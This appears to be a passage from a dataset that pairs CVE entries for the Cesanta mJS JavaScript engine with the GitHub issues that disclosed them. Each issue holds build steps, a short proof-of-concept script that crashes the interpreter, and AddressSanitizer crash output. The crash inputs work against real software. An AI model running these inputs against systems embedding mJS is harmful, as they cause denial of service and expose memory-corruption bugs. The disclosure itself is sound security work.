0x0c1e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring | https://api.github.com/repos/cesanta/mjs/issues/197/comments | 0 | 2021-12-31T05:39:31Z | 2022-01-12T02:19:19Z | https://github.com/cesanta/mjs/issues/197 | 1,091,427,555 | 197 |
CVE-2021-46528 | 2022-01-27T21:15:10.293 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x5361e. This vulnerability can lead to a Denial of Service (DoS). | {
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"source": "[email protected]",
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}
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function D(i) {
[i]
}
function A() {
return D.apply - 1;
}
function JSEtest(i) {
return A(i, 1, 2, 3);
}
JSEtest(0.2)(0.2)
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==76668==ERROR: AddressSanitizer: SEGV on unknown address 0x561aeef915ac (pc 0x561aeef9161f bp 0x0000000000a6 sp 0x7ffe3d8aa358 T0)
==76668==The signal is caused by a WRITE memory access.
#0 0x561aeef9161e (/usr/local/bin/mjs+0x5361e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x5361e)
==76668==ABORTING
```
| SEGV (/usr/local/bin/mjs+0x5361e) | https://api.github.com/repos/cesanta/mjs/issues/208/comments | 0 | 2021-12-31T07:44:06Z | 2021-12-31T07:44:06Z | https://github.com/cesanta/mjs/issues/208 | 1,091,460,498 | 208 |
CVE-2021-46529 | 2022-01-27T21:15:10.337 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x8814e. This vulnerability can lead to a Denial of Service (DoS). | {
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"version": "2.0"
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"source": "[email protected]",
"type": "Primary",
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
JSON.stringify--(JSON.stringify(typeof print));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==58172==ERROR: AddressSanitizer: SEGV on unknown address 0x55c8c4e9b0dc (pc 0x55c8c4e9b14f bp 0x00000000004c sp 0x7ffe0757c308 T0)
==58172==The signal is caused by a WRITE memory access.
#0 0x55c8c4e9b14e (/usr/local/bin/mjs+0x8814e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8814e)
==58172==ABORTING
```
Credits: Found by OWL337 team. | SEGV (/usr/local/bin/mjs+0x8814e) | https://api.github.com/repos/cesanta/mjs/issues/210/comments | 0 | 2021-12-31T07:46:17Z | 2022-01-12T02:20:50Z | https://github.com/cesanta/mjs/issues/210 | 1,091,461,061 | 210 |
CVE-2021-46530 | 2022-01-27T21:15:10.380 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_execute at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function JSEtest() {
let arr = [1];
arr.splice((arr.splice(0, 17)= [1])= [1])= [1]
}
JSEtest();
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==23867==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55dcd2425950 bp 0x000000000000 sp 0x7fff558e7b00 T0)
==23867==The signal is caused by a READ memory access.
==23867==Hint: address points to the zero page.
#0 0x55dcd242594f in mjs_execute src/mjs_exec.c:823
#1 0x55dcd2430a05 in mjs_exec_internal src/mjs_exec.c:1073
#2 0x55dcd2430a05 in mjs_exec_file src/mjs_exec.c:1096
#3 0x55dcd23ed909 in main src/mjs_main.c:47
#4 0x7f63f4c54b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x55dcd23ee449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:823 in mjs_execute
```
Credits: Found by OWL337 team. | SEGV src/mjs_exec.c:823 in mjs_execute | https://api.github.com/repos/cesanta/mjs/issues/206/comments | 0 | 2021-12-31T07:41:02Z | 2022-01-12T02:20:23Z | https://github.com/cesanta/mjs/issues/206 | 1,091,459,702 | 206 |
CVE-2021-46531 | 2022-01-27T21:15:10.423 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x8d28e. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
JSON.parse--("0xA") !== JSON.parse("0xA")
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==2607==ERROR: AddressSanitizer: SEGV on unknown address 0x55f3104c021c (pc 0x55f3104c028f bp 0x000000000043 sp 0x7ffcbbf96e98 T0)
==2607==The signal is caused by a WRITE memory access.
#0 0x55f3104c028e (/usr/local/bin/mjs+0x8d28e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x8d28e)
==2607==ABORTING
```
| SEGV (/usr/local/bin/mjs+0x8d28e) | https://api.github.com/repos/cesanta/mjs/issues/211/comments | 0 | 2021-12-31T07:48:04Z | 2021-12-31T07:48:04Z | https://github.com/cesanta/mjs/issues/211 | 1,091,461,538 | 211 |
CVE-2021-46532 | 2022-01-27T21:15:10.467 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via exec_expr at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
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###### Build steps
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DOCKER_GCC=gcc
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make
```
###### Test case1
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
[""]isNaN[NaN] = 2;
```
</code></pre>
</details>
###### Test case2
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function T(o) {
for (let i = 0; i < 2; i++)
JSON.stringify[i] =-undefined;
o.length = undefined;
return o;
}
function JSEtest(a) {
T(a);
undefined + T(0) + T(0);
for(let i = 0; i < 10000000; i++) {}
}
JSEtest({});
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x560130588150 (pc 0x56013054b8c1 bp 0xfff2560130588150 sp 0x7ffde3a287f0 T0)
=====The signal is caused by a WRITE memory access.
#0 0x56013054b8c0 in exec_expr src/mjs_exec.c:347
#1 0x56013054b8c0 in mjs_execute src/mjs_exec.c:888
#2 0x560130550a05 in mjs_exec_internal src/mjs_exec.c:1073
#3 0x560130550a05 in mjs_exec_file src/mjs_exec.c:1096
#4 0x56013050d909 in main src/mjs_main.c:47
#5 0x7f497ee31b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x56013050e449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:347 in exec_expr
```
Credits: Found by OWL337 team. | SEGV src/mjs_exec.c:347 in exec_expr | https://api.github.com/repos/cesanta/mjs/issues/203/comments | 0 | 2021-12-31T07:34:16Z | 2022-01-12T02:20:11Z | https://github.com/cesanta/mjs/issues/203 | 1,091,457,962 | 203 |
CVE-2021-46534 | 2022-01-27T21:15:10.510 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via getprop_builtin_foreign at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
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vim Makefile
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$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
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make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
if ((false && x) !== (isNaN[2147483648])) {
(false && x)('#1');
}
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
=====ERROR: AddressSanitizer: SEGV on unknown address 0x55b2aa0e3340 (pc 0x55b32a04691c bp 0x000000000003 sp 0x7fffcfaa75c0 T0)
=====The signal is caused by a READ memory access.
#0 0x55b32a04691b in getprop_builtin_foreign src/mjs_exec.c:501
#1 0x55b32a04691b in getprop_builtin src/mjs_exec.c:538
#2 0x55b32a04691b in mjs_execute src/mjs_exec.c:690
#3 0x55b32a04ea05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x55b32a04ea05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x55b32a00b909 in main src/mjs_main.c:47
#6 0x7f5bfdabeb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x55b32a00c449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:501 in getprop_builtin_foreign
```
| SEGV src/mjs_exec.c:501 in getprop_builtin_foreign | https://api.github.com/repos/cesanta/mjs/issues/204/comments | 0 | 2021-12-31T07:36:20Z | 2021-12-31T07:36:20Z | https://github.com/cesanta/mjs/issues/204 | 1,091,458,500 | 204 |
CVE-2021-46535 | 2022-01-27T21:15:10.553 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0xe533e. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
Version:
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
isNaN(--isNaN) !== true
if (isNaN(-function () { return 1 }) !== true) {
$ERROR('#Error' + (-function () { return 1 }));
}
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==36318==ERROR: AddressSanitizer: SEGV on unknown address 0x559b7cd412cc (pc 0x559b7cd4133f bp 0x000000000043 sp 0x7fff0319d2b8 T0)
==36318==The signal is caused by a WRITE memory access.
#0 0x559b7cd4133e (/usr/local/bin/mjs+0xe533e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0xe533e)
==36318==ABORTING
```
Credits: Found by OWL337 team. | SEGV (/usr/local/bin/mjs+0xe533e) | https://api.github.com/repos/cesanta/mjs/issues/209/comments | 0 | 2021-12-31T07:45:23Z | 2022-01-12T02:20:36Z | https://github.com/cesanta/mjs/issues/209 | 1,091,460,822 | 209 |
CVE-2021-46537 | 2022-01-27T21:15:10.597 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x9a30e. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
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DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
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make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function Aply() {
return Object.create.apply({}, [Object]);
}
function JSEtest(i) {
return Aply(i, 1, 2, 3);
}
JSEtest(89)[Object.create--]
JSEtest(0.2)
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==87532==ERROR: AddressSanitizer: SEGV on unknown address 0x55d1329c929c (pc 0x55d1329c930f bp 0x615000000080 sp 0x7ffe4957a058 T0)
==87532==The signal is caused by a WRITE memory access.
#0 0x55d1329c930e (/usr/local/bin/mjs+0x9a30e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x9a30e)
==87532==ABORTING
```
| SEGV (/usr/local/bin/mjs+0x9a30e) | https://api.github.com/repos/cesanta/mjs/issues/212/comments | 0 | 2021-12-31T07:49:30Z | 2021-12-31T07:49:30Z | https://github.com/cesanta/mjs/issues/212 | 1,091,461,914 | 212 |
CVE-2021-46538 | 2022-01-27T21:15:10.643 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via gc_compact_strings at src/mjs_gc.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
```javascript
(function () {
((function f(a) {
if (a > 0) {
if ('#1.1: -0 - -0 === 0. Actual: '((JSON.stringify(gc('#1.1: -0 - -0 === 0. Ac\ual: '))) !== (gc('#1.1: -0 - -0 === 0. Actual: '))('#1.1: -0 - -0 === 0. Actual: ' !== f(a - 1)))) {
f(a - 1)
}
}
})(6))
})()
```
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==50070==ERROR: AddressSanitizer: SEGV on unknown address 0x3a60d0000001 (pc 0x5588da606950 bp 0x615000000080 sp 0x7ffef6409930 T0)
==50070==The signal is caused by a READ memory access.
#0 0x5588da60694f in gc_compact_strings src/mjs_gc.c:406
#1 0x5588da6087d7 in mjs_gc src/mjs_gc.c:500
#2 0x5588da608ec2 in maybe_gc src/mjs_gc.c:446
#3 0x5588da5d2d67 in mjs_execute src/mjs_exec.c:578
#4 0x5588da5e0a05 in mjs_exec_internal src/mjs_exec.c:1073
#5 0x5588da5e0a05 in mjs_exec_file src/mjs_exec.c:1096
#6 0x5588da59d909 in main src/mjs_main.c:47
#7 0x7fe819cbcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x5588da59e449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_gc.c:406 in gc_compact_strings
==50070==ABORTING
```
Credits: Found by OWL337 team. | SEGV src/mjs_gc.c:406 in gc_compact_strings | https://api.github.com/repos/cesanta/mjs/issues/216/comments | 0 | 2021-12-31T07:56:05Z | 2022-01-12T02:21:15Z | https://github.com/cesanta/mjs/issues/216 | 1,091,463,608 | 216 |
CVE-2021-46539 | 2022-01-27T21:15:10.687 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x45a1f. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function JSEtest() {
let arr = [1];
[[arr.push(0, 17)].push([arr.push(0, 17)].push(0, 17))];
}
JSEtest();
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==126169==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb20926da20 bp 0x000000000000 sp 0x7ffc6083ff90 T0)
==126169==The signal is caused by a READ memory access.
==126169==Hint: address points to the zero page.
#0 0x7fb20926da1f (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
#1 0x5619439c70b3 in cstr_to_ulong src/mjs_string.c:232
#2 0x5619439c70b3 in str_to_ulong src/mjs_string.c:242
#3 0x5619438ff7bb in mjs_array_length src/mjs_array.c:83
#4 0x5619438ff7bb in mjs_array_push src/mjs_array.c:115
#5 0x5619438ff7bb in mjs_array_push_internal src/mjs_array.c:131
#6 0x561943924244 in mjs_execute src/mjs_exec.c:853
#7 0x56194392da05 in mjs_exec_internal src/mjs_exec.c:1073
#8 0x56194392da05 in mjs_exec_file src/mjs_exec.c:1096
#9 0x5619438ea909 in main src/mjs_main.c:47
#10 0x7fb209249b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5619438eb449 in _start (/usr/local/bin/Gmjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
==126169==ABORTING
```
Credits: Found by OWL337 team. | SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f) | https://api.github.com/repos/cesanta/mjs/issues/217/comments | 0 | 2021-12-31T07:57:19Z | 2022-01-12T02:21:26Z | https://github.com/cesanta/mjs/issues/217 | 1,091,463,932 | 217 |
CVE-2021-46540 | 2022-01-27T21:15:10.730 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_get_mjs at src/mjs_builtin.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
print--(+"");
print(+"\n\n");
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==35620==ERROR: AddressSanitizer: SEGV on unknown address 0x55a10287477c (pc 0x55a1028747ef bp 0x000000000034 sp 0x7ffdf2572288 T0)
==35620==The signal is caused by a WRITE memory access.
#0 0x55a1028747ee in mjs_get_mjs src/mjs_builtin.c:105
#1 0x55a10288f244 in mjs_execute src/mjs_exec.c:853
#2 0x55a102898a05 in mjs_exec_internal src/mjs_exec.c:1073
#3 0x55a102898a05 in mjs_exec_file src/mjs_exec.c:1096
#4 0x55a102855909 in main src/mjs_main.c:47
#5 0x7fba02de9b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55a102856449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:105 in mjs_get_mjs
==35620==ABORTING
```
| SEGV src/mjs_builtin.c:105 in mjs_get_mjs | https://api.github.com/repos/cesanta/mjs/issues/214/comments | 0 | 2021-12-31T07:53:19Z | 2021-12-31T07:53:19Z | https://github.com/cesanta/mjs/issues/214 | 1,091,462,899 | 214 |
CVE-2021-46541 | 2022-01-27T21:15:10.773 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x2c6ae. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
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vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function JSEtest(b) {
(gc(typeof (gc(typeof this)==="undefined"))==="undefined");
if (b < '#"$$abcdabcd"'.indexOf(gc --(typeof (gc(typeof this)==="undefined"))==="undefined"))
JSEtest(b+'#1"$$abcdabcd"'.indexOf("$$abcdabcd"));
}
JSEtest(0);
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==95067==ERROR: AddressSanitizer: SEGV on unknown address 0x55cbea3db63c (pc 0x55cbea3db6af bp 0x0000000000b5 sp 0x7ffc46f4e118 T0)
==95067==The signal is caused by a WRITE memory access.
#0 0x55cbea3db6ae (/usr/local/bin/mjs+0x2c6ae)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c6ae)
==95067==ABORTING
```
| SEGV (/usr/local/bin/mjs+0x2c6ae) | https://api.github.com/repos/cesanta/mjs/issues/222/comments | 0 | 2021-12-31T08:03:15Z | 2021-12-31T08:03:15Z | https://github.com/cesanta/mjs/issues/222 | 1,091,465,836 | 222 |
CVE-2021-46542 | 2022-01-27T21:15:10.817 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_print at src/mjs_builtin.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
```javascript
function D(i) {
print++i
return [i];
}
function A() {
return D.apply(print(chr(D.apply(print(chr(0)), [i, 1, 2, 3]))), [i, 1, 2, 3]);
}
function JSEtest(i) {
return A(i, 1, 2, 3);
}
JSEtest(89)[0]
JSEtest(0.2)
```
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
\x00
null
ASAN:DEADLYSIGNAL
=================================================================
==55629==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55789394d7f2 bp 0x000000000095 sp 0x7ffdc33bd878 T0)
==55629==The signal is caused by a READ memory access.
==55629==Hint: address points to the zero page.
#0 0x55789394d7f1 in mjs_print src/mjs_builtin.c:18
#1 0x557893968244 in mjs_execute src/mjs_exec.c:853
#2 0x557893971a05 in mjs_exec_internal src/mjs_exec.c:1073
#3 0x557893971a05 in mjs_exec_file src/mjs_exec.c:1096
#4 0x55789392e909 in main src/mjs_main.c:47
#5 0x7f7c0e673b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55789392f449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_builtin.c:18 in mjs_print
==55629==ABORTING
```
Credits: Found by OWL337 team. | SEGV src/mjs_builtin.c:18 in mjs_print | https://api.github.com/repos/cesanta/mjs/issues/215/comments | 0 | 2021-12-31T07:54:36Z | 2022-01-12T02:21:03Z | https://github.com/cesanta/mjs/issues/215 | 1,091,463,219 | 215 |
CVE-2021-46543 | 2022-01-27T21:15:10.860 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e810. This vulnerability can lead to a Denial of Service (DoS). | {
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
load('[\u\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
'[\t\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
'\t\r \n}\t\r \n');
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==28077==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9ece3d7811 bp 0x7ffc033dfbb0 sp 0x7ffc033df328 T0)
==28077==The signal is caused by a READ memory access.
==28077==Hint: address points to the zero page.
#0 0x7f9ece3d7810 (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
#1 0x7f9ece88ee55 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x50e55)
#2 0x557908c817a0 in cs_read_file src/common/cs_file.c:34
#3 0x557908bb6043 in mjs_exec_file src/mjs_exec.c:1087
#4 0x557908b93bf6 in mjs_load src/mjs_builtin.c:69
#5 0x557908bad244 in mjs_execute src/mjs_exec.c:853
#6 0x557908bb6a05 in mjs_exec_internal src/mjs_exec.c:1073
#7 0x557908bb6a05 in mjs_exec_file src/mjs_exec.c:1096
#8 0x557908b73909 in main src/mjs_main.c:47
#9 0x7f9ece26ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x557908b74449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
==28077==ABORTING
```
Credits: Found by OWL337 team.
| SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810) | https://api.github.com/repos/cesanta/mjs/issues/219/comments | 0 | 2021-12-31T07:59:21Z | 2022-01-12T02:21:48Z | https://github.com/cesanta/mjs/issues/219 | 1,091,464,458 | 219 |
CVE-2021-46544 | 2022-01-27T21:15:10.903 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
